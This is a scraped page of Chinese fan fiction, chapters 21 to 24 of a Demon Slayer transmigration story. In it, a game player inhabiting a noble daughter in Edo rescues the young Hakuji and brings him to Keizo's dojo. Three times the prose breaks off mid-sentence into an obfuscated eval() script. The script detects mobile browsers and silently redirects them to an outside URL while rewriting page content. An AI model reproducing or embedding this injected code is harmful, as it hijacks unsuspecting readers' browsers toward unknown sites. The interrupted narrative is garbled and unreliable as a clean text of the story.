伴随着光芒,那道女声仿佛跨越了漫长的时间,来到她的耳畔,轻柔低语。 21.第二十一章 今年的冬天来得格外的早。 江户城郊的街道上厚厚的积雪足以没踝,寒风裹挟着细碎的雪籽拍打在脸上,犹如刀锋刮过。 官府衙门前,几个衙役正围着一个跪在雪地里的少年。 少年约莫十五六岁,精瘦的身板像一张拉满的弓,蓄着无声的劲。 他身上衣服单薄,裸露的手臂上交错着新与旧的伤痕。 “又是你这小子!”衙役头目啐了一口,“这次偷的是米铺?胆子不小啊!” 狛治咬着牙一声不吭。 他低着头,额前黑色的碎发垂下,紧握着双拳,指节冻得发紫也仍然死死攥着。 板子已经打过三十下了,每一下都结结实实,臀腿处皮开肉绽,血浸透了本就破烂的裤子,在雪地上晕开鲜红色的花。 从始至终,他一声求饶都没有。 “骨头还挺硬。”另一个衙役讥笑,“听说你爹快病死了?偷米是为了给他续命,啧啧,孝心可嘉,可惜...” 话没说完,街道拐角传来清脆的铃铛声。 一顶贵族才可乘坐的轿子由几名轿夫抬着,稳稳行来。 轿帘边缘绣着精细的藤花纹,这是城内千羽家的家纹。 千羽家世代为幕府旗本,在町奉行所专司刑名缉盗,于江户町人之中颇具威势。 轿子在衙门前停下。 一只白皙的手从轿内伸出,轻轻挑开轿帘。 里面坐着的是千羽家这一代唯一的女儿,千羽真。 她的唇色很淡,抿成一条略显刻薄的线,眉眼间带着世家小姐特有的骄矜,正皱着眉,仿佛闻到了空气中令人不悦的味道,欲用手帕遮掩住口鼻。 衙役们连忙躬身行礼:“千羽小姐。” 千羽真的目光掠过众人,落在雪地里那个狼狈的少年身上。 她视线在狛治身上几处刺青上停留了一瞬,眼中闪过一丝毫不掩饰的厌恶。 “这人是第几次了?” 衙役头目赔笑:“回小姐,这是第三回了。这小子是个惯偷,专偷米铺药铺...” “行了。”千羽真打断他,用手帕在面前挥了挥,似乎在驱散空气中的什么不洁之物,“既然抓到了,按律处置便是。” 她盯着狛治低垂的头,声音不大,却足够让在场的每一个人都清楚听见。 “这一身穷酸气,离本小姐远点,看着都嫌脏了眼。” 话音刚落,轿帘即将要放下。 就在这一刹那。 [系统提示:检测到关键剧情节点:狛治的屈辱,隐藏任务:拯救误入歧途的少年已激活,玩家<朝奈>意识介入中,3...2...1...] 朝奈感觉到自己意识逐渐恢复,海量的信息涌入脑中。 这里是江户时代。 这具身体的主人名叫千羽真,千羽家的大小姐。 眼前这个跪在雪地上的少年叫做狛治,也就是未来成为上弦之叁的猗窝座。 她此番来到隐藏任务世界线,要做的是改变他成为鬼堕入黑暗的命运轨迹。 与信息同时涌入脑海的还有原主刚才那句刻薄的话。 唔,得说点什么挽救一下。 她是来做任务的,第一次见面给人留下坏印象可不行。 【隐藏副本加载页面真的要等好久】 【这是...江户时代?】 【三哥也是有故事的人,目前来看感觉又是段悲剧】 得益于早就习惯了游戏里的空间转换,朝奈适应得很非常快,立刻就融入当前的副本之中。 轿帘还未完全落下,她再次伸手将帘子整个掀开。 “等等。” 声音还是属于千羽真的声线,只是语气变得截然不同。 衙役们被这突如其来的一句话整愣住了。 狛治也在这时抬起头。 那双蓝宝石一样色泽的眼睛,压抑着凶戾,像被逼到绝境的幼狼,随时可能扑上来撕咬。 朝奈和他对视了几秒。 在所有人都没反应过来之前,她走下轿子。 月白色的衣摆扫过积雪,革靴踩在雪地上发出轻微的声响。 她没理会衙役们惊愕的表情,径直走到狛治面前,弯下腰。 能看清对方脸上细小的冻疮,能闻到他身上混杂着血腥和雪水泥土的气味,也能察觉到他眼中骤然升起的警惕和一闪而过的茫然。 朝奈就这么看着他,神色淡然,仿佛刚才说出尖酸刻薄之语的人并不是她。 “你以为我会那样说,对吗?”她兀地开口。 狛治的瞳孔不受控地收缩了一下。 没等他回答,朝奈已经直起了腰,转头对轿旁侍立的一个老仆吩咐:“平助,扶他起来。” 老仆人愣了愣:“小姐,这...” “照做。”语气带着属于千羽家大小姐的威严,但又多了几分稳重。 “小心点,他伤得很重。” 她又看向那群已经许久未出声的衙役,“这个人,我带走了,具体的案件我会让父亲处理。” “可是小姐,他、他是惯偷...” “我说,千羽家带走了。”朝奈又强调了一遍刚才的话,她弯着眼,带着笑意与衙役头目对视,“需要我让父亲大人亲自来提人吗?” 这下衙役哪还敢再反驳,他的冷汗直冒,生怕一不小心就丢了饭碗,“不不不,小姐您请便!” 【谁说这金手指不好了,我看金手指爽得很啊】 【这下舒服了,主播狠狠教育一下这群人】 【三哥这个盗窃罪就涉及到那个经典的法律与道德问题,一个穷困潦倒的人为了病重的家人去偷药,是对还是不对?】 这时,平助和另一个年轻的仆从已经小心地将狛治从雪地里扶了起来。 少年挣扎了一下,但伤势太重,加上于寒风中冻了太久,根本无从使力。 “放开我。”他声音嘶哑,眼神有些凶狠地瞪着朝奈,“我不需要你的假——” “你需要。”朝奈没给他逞强的机会,直接打断了他的话,“伤口感染会死,你死了,病重的父亲怎么办?” 狛治瞬间警惕起来,目光里染上几分戒备,“你怎么知道...” 朝奈没和他解释,他的伤太严重了,当下最重要的事情是处理伤口。 她转身朝轿子走,边走边吩咐:“回西院,去请佐藤大夫,动作要快。” 走到了轿前,停住脚步,回头看了眼还僵在原地的狛治。 那道月白色的身影几乎与雪融为一体,风雪之间,赤色的瞳孔被一片白皑衬得明亮温暖。 “还能走吗?”她问。 狛治咬着牙,把头别到一边,不说话。 朝奈用眼神示意平助旁边的年轻仆从:“背他。” “小姐!这不合规矩!”平助比一旁的人先反应过来,他的神色非常惶恐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128829|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “规矩是人定的,当然能改。” 朝奈淡淡地说,然后看向狛治的方向,“这样吧。” “是要他背,还是我请另外的四个轿夫抬你,你自己选。” 狛治这辈子还没遇到过这么理所应当,蛮不讲理的人。 他瞪着朝奈,而朝奈也平静地回视他,甚至还带着点“瞧我多好说话”的神色。 最后是他败下阵来。 伤口太疼,而且她刚才的话里提到了父亲。 他再怎么样都没关系。 父亲不能出事,他不能,也不敢冒这个险。 “...背。”挣扎半天最后挤出了这个字。 仆从无奈,只好将他背起,好在这个人很轻,他背着不算费力。 朝奈这才重新上轿。 轿帘合上前,她最后看了一眼狛治。 他趴在仆人背上,意识应当是陷入了模糊,脸侧对着她,蓝色的眼睛半闭着,长长的睫毛上结了一层薄霜。 [系统提示:初始任务完成,羁绊值+5。] [当前羁绊值:5/100] 狛治趴在仆人背上,意识有些朦胧。 身体受伤的地方火辣辣地疼,板子打过的部位更是痛得钻心。 寒风刺骨,冷得他一刹那间觉得自己要死在这个冬天了。 千羽家的大小姐,他听说过。 娇纵任性,目中无人。 刚才第一眼见到的时候,也确实如此,就像在看路边垃圾的那种眼神,他太熟悉了。 可是后来。 她从轿子里出来,弯下腰看着他的时候,眼神清明,没有半点厌恶。 是怜悯吗? 他说不清楚,那样的眼神他从未见过。 还有那句奇怪的话:“你以为我会那样说,对吗?” 就好像,她知道发生的一切,然后故意反着来。 为什么? 狛治想不明白。 他的世界很简单,活下去,让父亲的病好起来。 为此,他可以偷可以抢,可以忍受任何屈辱。 善意?他早就不相信那种东西了。 可刚才那一瞬间,在那个名叫千羽真的大小姐眼睛里,他好像看到了一点不一样的光。 他闭上眼,不愿再细想,任由意识沉入黑暗。 不知过了多久,他感觉自己被放了下来,身下是柔软又温暖的垫子。 有人用温热的湿布擦拭他背上的伤口,动作很轻,但还是疼得他抽搐了一下。 “忍着点。”那道声音带着点安抚的意味,“伤口里有砂石,必须清理干净。” 狛治被疼痛刺激得清醒过来,睁开眼。 他躺在一间和室里,房间不大,但很整洁,角落里烧着炭盆,空气中有一股淡淡的草药清香。 而那个大小姐,就坐在他身侧,手里拿着一块湿布,正专注地清理他背上的伤。 朝奈> 22.第二十二章 朝奈换了一套浅色小袖,长发松松挽起,几缕碎发垂在耳边。 室内温暖的光线映着她的侧脸,一切都显得那么柔和。 “看什么?”她头也没抬地问。 狛治这才意识到自己一直在盯着她,连忙移开视线,“...你为什么救我?” “想救就救了,”朝奈的回答很是随意,“需要理由吗?” “需要。” 狛治皱着眉头,显然是在忍受背后传来的刺痛,“我不信无缘无故的好意。” 朝奈清理伤口的动作缓了下来。 她的视角能看见狛治的的侧脸,还有碧蓝色的眼睛。 少年虽虚弱,眼神仍旧警惕得像一只刺猬,竖起了全身的刺。 “好吧,如果你非要一个理由的话。” 她一边说着,放下布巾,从旁边的药箱中取出一罐药膏。 “我觉得你很可惜。” “可...惜?”第一次有人用这个词形容他。 “嗯。”朝奈用竹片挑起药膏,轻轻涂抹在他的伤口上,动作很熟练。 药膏清凉,缓解了部分灼烧的疼痛感。 “有那样眼神的人,不该死在雪地里,或者一辈子烂在牢里。” 狛治沉默了片刻,没有说话。 大抵是自尊心那一类的东西让他问不出这个口。 朝奈完全清楚他想问什么,声音淡淡地说:“哪怕快要死掉了,跪在雪地里,眼睛里也还有火焰。” “那样的眼神很珍贵,错过了就不会再有了。” 她说完,继续专注上药,没再解释更多。 狛治却愣住了。 他不觉得自己眼里有她说的那种东西。 他只是想要活下去,要变强,强到没有人可以欺负他和父亲。 一时间,和室里安静地连针掉在地上都能听见。 “哦对了,”朝奈擦了擦竹片上残留的药膏,“你父亲的事情,我会帮忙。” 狛治猛地扭头看向她:“你怎么——” “你偷米铺,偷药铺,显然不是为了自己。” “一个十五六岁的孩子,需要拼命养活的除了父母还能有谁呢?” 她的语气轻描淡写,却句句说中。 狛治张了张嘴,把头扭到一边,最后只挤出一句:“不用你管。” 朝奈继续擦着药膏。 她也不是第一天知道这人是个死傲娇了。 涂完了药,开始用干净的布条包扎,她才先斩后奏。 “真是抱歉,因为我已经管了。” “佐藤大夫是我请来的,现在应该已经到你家了。” “什么?!” 狛治听完猛地要起身,被朝奈一只手缓缓按了回去。 “别动,伤口会裂开。”她用的力气不小,按得狛治动弹不得。 “你父亲得的是肺痨吧?拖了这么久,城里的普通大夫治不了,佐藤大夫不一样,他是京都来的名医,专治疑难杂症。” 和室陷入了一阵极其安静的氛围中。 朝奈看见他握紧拳头,手臂上的青筋隐隐浮现,似乎在忍耐什么。 倒也能明白这种心情。 “我不是在施舍你。”她解释道,“只是看中了你的潜力,觉得你对我有用。” “拥有这样眼神的人,只要我给个机会,将来一定能成大事。” “所以,这只是一个交易。” 狛治看不清她的表情,但能听出她语气里的认真。 施舍会让他觉得屈辱,但如果是...交易。 她现在为他做的一切都不是免费的,需要他以后偿还。 至少,对双方而言,他们的关系是平等的。 终于,他松开了紧握着的拳,声音恢复了平静,“你想要什么?” 朝奈注意到了他的情绪变化,也不着急给出答复,“唔,等我想好再说吧,反正你现在也付不起报酬。” 她走到门边,拉开门,对外面的人吩咐:“送些热粥和干净的衣服来。” 又对着狛治留下了一句“好好养伤”。 然后,轻轻带上了门。 [系统提示:第一阶段接触完成,狛治当前好感度:-10] [任务进展:已介入关键节点,阻止狛治在雪地中彻底失望,下一步:引导其走上正途。] [当前羁绊值:15/100] - 佐藤大夫从狛治家出来时,天色已黑。 平助提着药箱跟在后面,小心翼翼地问:“大夫,那孩子的父亲?” “肺痨拖得太久了。”佐藤大夫摇摇头,花白的胡子在寒风里微颤,“若是早三个月,或许还有救。现在,我只能尽力缓解疼痛,让他走的舒服些。” 老仆叹了口气,从袖中取出一枚银锭递上,“这是我家小姐给的诊金,还请大夫费心。” 佐藤大夫接过银锭,掂了掂,又抬头看着眼前这间破旧的屋子。 “千羽小姐这次倒是心善。”他喃喃道,“那孩子叫狛治是吧?我给他父亲留了十天的药,早晚煎服,十天之后我再来看看。” “有劳大夫了。” 送走大夫之后,平助又在门外站了一会儿。 屋里传来压抑的咳嗽声,一声接一声,撕心裂肺。 “狛治...狛治回来了吗...”男人虚弱的声音断续地飘出来。 平助只摇摇头,什么也没说,便转身离开了。 - 几日后,千羽家西院。 狛治从睡梦中醒来。 鼻尖萦绕着一股香气,他的肚子不争气地叫了一声。 目光扫过一旁的桌子,上面放着一碗热气腾腾的米粥,里面还掺了切碎的肉丁和青菜,光看着就令人食欲大增。 他挣扎着坐起来,背上的伤还在隐隐作痛,但比起之前已经好了太多。 药膏很有效,敷在伤口处有清凉的镇痛感。 房间里没人,他身旁还放着一套干净的衣服。 是她送来的。 狛治盯着那碗粥,喉结滚动。 吃,还是不吃? 吃了就等于接受那个大小姐的施舍,虽然她说这是交易,但... 不吃。 肚子又叫了一声。 “......” 最终,他的生存本能战胜了毫无用处的自尊心。 狛治端起碗,狼吞虎咽地吃了起来。 一碗粥很快就见底,他还不算饱腹,可碗已经空了。 非常凑巧,这时门被拉开。 朝奈走了进来,她换了一身适合出门的装扮,手里还提着一个食盒。 瞥见桌上的空碗,她放下食盒,“看来胃口还不错,我来得挺及时。” 她在他对面坐下,打开食盒,里面是几样简单的菜。 烤鱼,腌萝卜,味增汤,还有一碗米饭。 “吃吧。”她微笑着把食盒推了过去。 “等会我带你去一个地方。” 狛治看着食盒,并没有接过,“什么地方?” “你不是想给父亲治病么。” 这话触到了他心中的软肋,他目光带着点疑惑望向朝奈,对方正撑着下巴看他。 “如果能有正经的工作,靠双手赚钱,就可以请大夫看病了。” 他没再追问,端起饭碗开始吃。 朝奈静静看着。 少年吃饭的样子很认真,每一口都嚼得很仔细,似乎很少能吃到这样的饭菜。 他这样的性格,如果引导得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133998|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,会成为一把最锋利的刀。 如果放任不管,就会变成猗窝座。 朝奈垂下眼帘。 她必须抓住他。 等狛治吃完,朝奈站起身:“走吧。” “带你去道场。” - 城南,素流道场。 朝奈带着人站在道场门外。 里面静悄悄的,根本不像是一家练习武术的道场该有的氛围。 “庆藏先生算是我父亲的朋友。”朝奈低声对他说,“我跟他打过招呼了,你进去只管展示你的本事,他看重潜力,不看出身。” 狛治看着道场大门,手在袖子里握紧。 他打过很多架,为了抢吃的,护住偷来的东西,保护父亲不被讨债的欺负,但他从没正经学过武术。 “我不会武术。” “那就展示你会的东西。”朝奈轻轻推了他一把,“没事的,进去吧。” 狛治深吸一口气,推开了道场的门。 道场很大,木地板擦得光亮,最前方,一个很有精气神的男子盘腿坐着,手里端着茶杯,眼睛半闭半睁。 听到开门声,他睁开眼。 “阿真来了?”他的声音洪亮,“你父亲前几日还跟我下棋,又输了三局。” 扮演着千羽真应有的态度,朝奈躬身行礼:“这就是我跟您提过的那个孩子,狛治。” 庆藏的目光落在狛治身上,扫了几圈,重点看了看他的手,肩膀,还有站姿。 “练过?”他问。 “没有。”狛治老实回答,“只打过架。” “打赢了还是打输了?” “...都有。” 庆藏笑了:“倒是个实诚孩子,来,跟我过两招。” 他站起身,从旁边的刀架上取下一柄木刀,扔给狛治,自己则空着手,朝道场中央走去。 狛治接过木刀,有些不知所措。 “不用紧张。”庆藏在道场中央站定,摆出一个松散的姿势,“就当是街头打架,怎么顺手怎么来,让我看看你的本事。” 狛治咬了咬牙,握紧木刀。 他确实不会用刀,但架打多了,自然知道怎么出手最有效。 躲开攻击,抓住破绽,用最小的力气造成最大的伤害。 他深吸一口气,突然前冲。 动作很快,没有章法,完全就是街头混混打架那种莽撞的冲撞。 木刀斜劈而下,目标是庆藏可能闪避的方位。 这是狛治在无数次打架中学到的,预判对方的动作,封死退路。 庆藏眼睛一亮。 他没躲,抬手用前臂架住了木刀。 砰的一声闷响,刀被一股巨大的力量弹开。 狛治只觉得虎口发麻,木刀差点脱手。 见局势不对,他反应极快,立刻抽刀后退,改为横扫下盘。 庆藏轻巧地跳开,笑道:“不错,有灵性!” 接下来的两分钟里,狛治把自己这些年打架积累的所有经验都用上了。 偷袭,佯攻,假动作,甚至故意卖破绽引诱对方进攻,虽毫无章法,但每一招都直奔要害。 结果呢,全被庆藏轻轻松松地格挡或者闪避开了。他眼中赞赏之色也越来越浓。 两分钟的切磋后,庆藏抬手叫停。 “够了。” 他接过狛治手中的木刀,拍了拍他的肩膀,“底子不错,反应快,下手狠,最重要的是有脑子。武术不是光靠力气,用脑子也是非常重要的一部分。” 狛治喘着气,额头上渗出细密的汗珠,他不确定自己的表现算好还是不合格。 “愿意留下吗?”庆藏问,“工钱不高,不过呢,也足够你养家。” 狛治愣住了,他看向朝奈。 23.第二十三章 狛治的声音有些干涩,“但我父亲病重,我恐怕抽不开身。” 朝奈适时向庆藏开口,语气显得很从容:“照料病人,未必需要他时时在侧,我记得道场里有空余的住所。” “我可以安排一个信得过的老仆,每日定时去帮忙煎药,清理,喂饭。” “所需费用和酬劳,从狛治未来的薪俸里预支扣还便是,如此一来,他可以安心练武术,父亲也能得到妥帖照料,您看如何?” 庆藏看了看朝奈,又看了看眼神骤然亮起的狛治,思索片刻后最终点头,“你这丫头,安排得倒是周全。” “也罢,就按你说的办。”他又看向狛治,“明天一早,我要在道场看到你,迟到一刻就不用来了。” 狛治的眼眶微红。 他低下头,用力握紧拳头,指甲陷进掌心。 “谢谢。”他半天才挤出这两个字。 “不用谢我。”庆藏看向朝奈,“谢阿真吧,她为了你,可是欠了我一个人情。” 狛治又看向朝奈。 朝奈只是笑了笑,没说话。 当天下午,狛治把父亲接来了道场。 庆藏安排的空屋虽然简陋,但至少不漏风,有榻榻米,有被褥,比他们原来那个破屋强太多了。 狛治跪坐在父亲身边,看着这一幕,忽然觉得鼻子发酸。 他已经很久没有感受过家的温暖了。 朝奈站在门外,没有进去打扰他。 她看着屋里温馨的画面,心里却很清楚,这只是开始。 佐藤大夫和她说过了,狛治的父亲活不过这个冬天,这是注定的事。 她能做的,只是让老人家走得舒服些,也让狛治在失去父亲后,还能有新的羁绊和寄托。 “小姐。” 平助不知何时来到她身后,低声道,“该回去了,老爷派人来问,说您今天一整天都不在家...” “知道了。”朝奈转身,“走吧。” 她最后看了一眼屋里的狛治。 少年正小心翼翼地为父亲掖好被角,动作笨拙却温柔。 窗外的阳光照在他脸上,那双总是充满戾气的眼睛,此刻柔和了许多。 [系统提示:狛治对您的好感度提升。当前好感度:5/100] [任务进展:成功引导狛治进入道场,建立新的社会关系与羁绊。] [当前羁绊值:25/100] 朝奈还算满意。 进度虽然慢,但方向是对的。 - 之后的一个月,日子过得平静。 狛治每天早上天没亮就起来训练,一直练到深夜。 庆藏说他是个疯小子,教得也格外用心,难得遇到这么好的苗子,又是阿真托付的人,自然要多上心。 狛治的父亲呢,身体时好时坏,大部分时间都在昏睡。 在这些日子里,狛治还认识了庆藏师傅的女儿,恋雪。 那是个体弱多病的女孩,每天只能在房间里望着门外的风景。 为了报答师傅的教导之恩,狛治时常会照顾恋雪。 每次训练完,都会带些小东西回来,让她能够见见外面的世界。 恋雪总是很开心地收下。 而阿真,每隔三五天就会来一次。 有时候带些药材,有时候带些点心,有时候什么都不带,只是来看看。 她每次来,狛治都会有些不自在。 他不知道该怎么面对她。 感激吗?当然是感激的。没有她,父亲可能已经死了,他也会烂在牢里或者冻死在雪地。 但除此之外呢? 狛治说不清楚。 每次看到阿真,他都会想起第一次见面时,她蹲在雪地里说的那句话。 “你以为我会那样说,对吗?” 那种仿佛能看穿他一切想法的眼神,让他既警惕,又好奇。 他完全看不透她。 千羽真,千羽家的大小姐,按理说应该是娇生惯养,不谙世事的。 可她处理事情的手段干净利落,看人的眼光精准毒辣,说话做事都带着一种超乎年龄的冷静和沉着。 这天,阿真又来了。 她带了一盒樱饼,糯米包裹着红豆馅,外面裹着盐渍的樱叶,是春天才有的点心。 “路过和果子铺看到的。”她递给狛治,“给你和恋雪尝尝。” 狛治接过,盒子还是温的。 “谢谢。”他说,顿了顿,语气带着几分关心,“你最近脸色不太好。” 扮演着阿真的朝奈愣了一下,摸了摸自己的脸,“有吗?” “有。”狛治盯着她,“比上次来的时候更白了,你生病了?” 朝奈不在意地笑了笑,“老毛病了,我从小身体就不好,大夫说——” 她突然停住。 狛治皱起眉头,很是在意她未说出口的话:“大夫说什么?” 差点就把系统给的设定说漏嘴了。 “没什么。”朝奈面不改色地转移话题,“你父亲怎么样了?” “...还是老样子。”狛治低下头,“佐藤大夫说,也就是这几天的事了。” 他的声音很平静,朝奈却听得出里面的颤抖。 “难过吗?”她轻轻地问。 狛治沉默了很久。 “难过。”他缓缓回答。 “更多的是释怀吧。” “他太疼了,每天咳得撕心裂肺,吃不下睡不着,有时候我看着他,对他来说也许只是一种解脱。” 他握紧拳头,全然没有话里说得那般轻松。 朝奈试着开导他,“生死有命,强求不得。” “重要的是,在他最后的时间里,你陪着他,让他走得安心。” 狛治目光盯着朝奈。 “你好像很懂这些。” “见得多了。”朝奈说,语气很淡,“千羽家管刑名,牢里每天都有死人。病死的,饿死的,被打死的,看多了就明白了,死亡有时候是解脱。” 她说这话时,眼神有些飘忽,像是在回忆什么。 狛治忽然想起,城里确实有传闻,说千羽家的小小姐从小就体弱,好几次差点病死。 也许正因为这样,她才对生死看得这么淡? “那你呢?”他脱口而出,“你怕死吗?” 问完他就后悔了,这问题太冒犯了。 朝奈没有生气。 她想了想,然后说:“怕,也不怕。” “怕死得没有价值,还有想做的事没做完。但如果该做的都做了,该见的都见了,那死也就死了,没什么大不了的。” 她说得很轻松,仿佛在谈论明天吃什么。 狛治听得心里一紧。 他想起第一次见到她时,她那双眼睛清澈,平静,深处却有种说不出的疏离感,好像随时会从这个世界上抽身离去。 “你不会死的。”他的声音变得十分坚定,“你还年轻,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142192|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多时间。” 朝奈笑了。 眼睛弯成月牙,脸颊浮现出浅浅的梨涡。 狛治第一次看到她这样笑,不由得呆住了。 “借你吉言。”她说,“所以你要好好练武,快点变强,等我需要你还人情的时候,可别太没用。” 狛治用力点头,“我会的。” 他会变强,强到能保护想保护的人,强到能偿还欠下的所有恩情。 尤其是她的。 朝奈离开时,狛治送她到道场门口。 夕阳西下,天边飘着火烧云,朝奈的身影在余晖中拉得很长,渐渐消失在街角。 狛治站在原地,手里还捧着那盒樱饼。 他打开盒子,拿起一块,轻轻咬了一口。 糯米软糯,红豆馅甜而不腻,盐渍樱叶带来一丝咸鲜,巧妙地平衡了甜味。 很好吃。 他小心地把盒子盖好,打算带回去慢慢品尝。 转身回屋时,他忽然想起朝奈刚才那个笑容。 心里某个地方,微微动了一下。 [系统提示:狛治好感度提升。当前好感度:25/100] 那天晚上,狛治的父亲醒了。 精神出乎意料地好,甚至能自己坐起来喝粥了。 他拉着狛治的手,絮絮叨叨说了很多话。 说狛治小时候的事,说狛治的母亲,说对不起,没能给他好的生活。 狛治跪在床边,安静地听着,他知道自己能这样听父亲讲话的机会不多了。 最后,父亲说:“那个千羽小姐,是个好人,你要好好报答她。” “我会的,父亲。”狛治答应道。 父亲点点头,又看向窗外:“春天快来了吧?真想看看樱花啊...” 他说着,声音渐渐低下去,直到彻底闭上了眼睛。 这一次,再也没有醒来。 狛治握着父亲的手,坐了一整夜。 他只是静静地看着父亲安详的睡颜,直到天光微亮。 第二天,庆藏帮忙操办了简单的葬礼。 恋雪哭红了眼睛,阿真也来了,默默上了一炷香。 葬礼结束后,狛治一个人坐在父亲坟前。 朝奈走过去,在他身边坐下,递给他一块樱饼。 “吃吧。”她说,“就当是替他尝尝春天。” 狛治接过樱饼,咬了一口。 和那天尝到的一样,甜,咸,糯,复杂的滋味在嘴里化开。 他终于哭了。 属于昨夜的泪在此时无声地流下来,一滴一滴,砸在泥土里。 朝奈只是安静地陪他坐着。 等狛治的情绪不再那么激烈时,她才开口:“以后有什么打算?” “练武。”狛治抹干眼泪,声音沙哑但非常坚定,“变强,强到...不会再失去重要的人。” “很好的目标,我等着看你走到那一步。” “阿真。”他突然叫她的名字。 朝奈微微侧头。 狛治看着她,神色无比认真地说,“我会还你人情的。” 哪怕要用我的一生。 朝奈对他笑了笑。 “好啊。”她说,“我记住了。” 不久之后,她挥挥手,离开了。 狛治看着她远去的背影。 在这一刻,他眉宇间的轮廓清晰而坚硬起来。 就好像,所有的软弱已经永远留在了湿冷的泥土里。 24.第二十四章 父亲的离世像一道划痕,印刻在狛治的生命中。 葬礼之后,他沉默了许多。 训练时会更加拼命,势要将所有无处安放的情绪,倾注在每一滴汗水砸落在地板上的瞬间。 庆藏看在眼里,默默将训练量悄然加了几成。 某个清晨,他看着挥汗如雨的狛治,安慰道,“你父亲若泉下有知,一定想看你成为顶天立地的男人。” 狛治的动作短暂的顿了一下,然后下一次动作,力道更沉,招式更加凶狠。 庆藏师傅说得对。 他变得更加主动地思考和揣摩庆藏演示的招式。 然后在深夜无人的道场一遍遍拆解重组,寻找最适合自己的战斗方式。 他本就具备野兽一样的直觉,如今加上反复的学习和思考,进步速度堪称惊人。 朝奈依旧定期来访,频率比去年冬天时低了些。 每次来的时候,她的脸色似乎都更苍白一点,唇色也变得更淡。 她总会安静地坐在廊下,无声看着道场里挥汗如雨的少年背影。 和以前一样,她时不时会带些点心, 这次来的时候,她带的是药方。 “你气血浮躁,夜里入睡很困难吧?” 她将一包药材放在狛治手中,语气颇为贴心,“睡前可以让厨房煎了喝,有助于入眠。” 狛治握着还带有她掌心温度的药包,喉咙有些发紧。 他的确每晚都被浑身的酸痛折磨得辗转难眠,但他从未对任何人说过。 “你怎么知道?”他低声问,神情有些无助。 朝奈抬眼看了看他眼下淡淡的青黑,那目光了然,让狛治有些无处遁形。 “谢谢。”他笨拙地道谢。 “道谢的话就不必了。” 朝奈转开视线,看向院子里那棵终于盛放的樱花树,在初春的阳光下灼灼生辉,“照顾好自己,才算对得起我们之间的交易。” 狛治的心微微一沉。 又是交易。 他明明知道这是她惯用的,用来撇清关系的说法,可每次听到,胸口还是会泛起一丝莫名的涩意。 他想问,对她来说,他真的就只是一笔投资吗? 但他不敢,也没有这个资格问。 日子在汗水和沉默中流逝。 春意蔓延,道场后的山坡上,野樱零星开了几树。 这天,阿真没来。 狛治训练时有些心不在焉,挨了庆藏好一顿教育。 午后休息时,他正用冷水冲洗脸上的汗,一个怯生生的声音在身后响起。 “狛治哥哥?” 狛治回头,看见一个穿着浅粉色小袖,外面罩着厚厚棉褂的瘦小女孩站在廊下。 是恋雪,她的病最近也好多了。 她脸上没什么血色,不过也不如之前那般苍白,此刻她手里小心翼翼地捧着一个陶碗,碗口冒着热气。 “父亲说你训练辛苦,让我送碗热茶给你。”恋雪的声音细细的,像春风吹过树叶,带着天然的温柔。 她似乎有些怕生,不敢直视狛治的眼睛。 狛治愣了愣,连忙擦干手,走过去接过碗,“谢谢。” 茶是普通的麦茶,温热适口,狛治仰头喝完,将碗递还。 恋雪接过碗。 “你,”狛治看着她过于苍白的脸,寒暄般询问,“现在还是不常出来?” 恋雪微微低下头,“嗯,虽然身体已经好多了,但还是吹不了风,平时就在屋里读读书。” 她顿了顿,鼓起勇气般抬起头,快速看了狛治一眼,又低下头,“我、我听阿真姐姐经常提起你,她说你很努力,将来一定会很厉害。” 她的语气带着一丝不易察觉的羡慕。 狛治听见她说阿真经常会提起自己,只是干巴巴地“嗯”了一声。 恋雪似乎也不指望他多说什么,又小声留下句“请继续努力,阿真姐姐看见会很高兴的”,便像受惊的小兔子般,捧着空碗快步离开了,脚步有些虚浮。 狛治看着她的背影消失在走廊拐角,心里忽然有些不是滋味。 这世上有太多人,生来就背负着不同的重担。 他背负的是贫穷和失去,恋雪背负的则是一具天生脆弱的身体。 那天傍晚,阿真终于来了。 她看起来比之前更疲惫,连步伐都比平时慢了些。 狛治结束训练后,在道场后的水井边找到她,她正靠着井沿,望着天边被夕阳染成火红的云彩出神,侧脸在余晖中显得有些苍白。 “阿真小姐。”狛治走近,声音不自觉地放轻。 朝奈从系统更新的信息中回过神,看向他,露出一个浅浅的笑:“训练完了?” “嗯。”狛治在她身边蹲下,犹豫了一下,问:“你是不是不舒服?脸色很差。” 朝奈抬手摸了摸自己的脸颊,语气随意:“老毛病,天气回暖有些气闷罢了,不碍事。” 她不动声色地转移话题,“今天庆藏师傅夸你了?” 狛治点点头,又摇摇头,“夸我肯下苦功,但也骂我心思浮躁,招式太僵。” “慢慢来。”朝奈说,“武术不是一蹴而就的,你现在需要做的就是把基础打牢。” 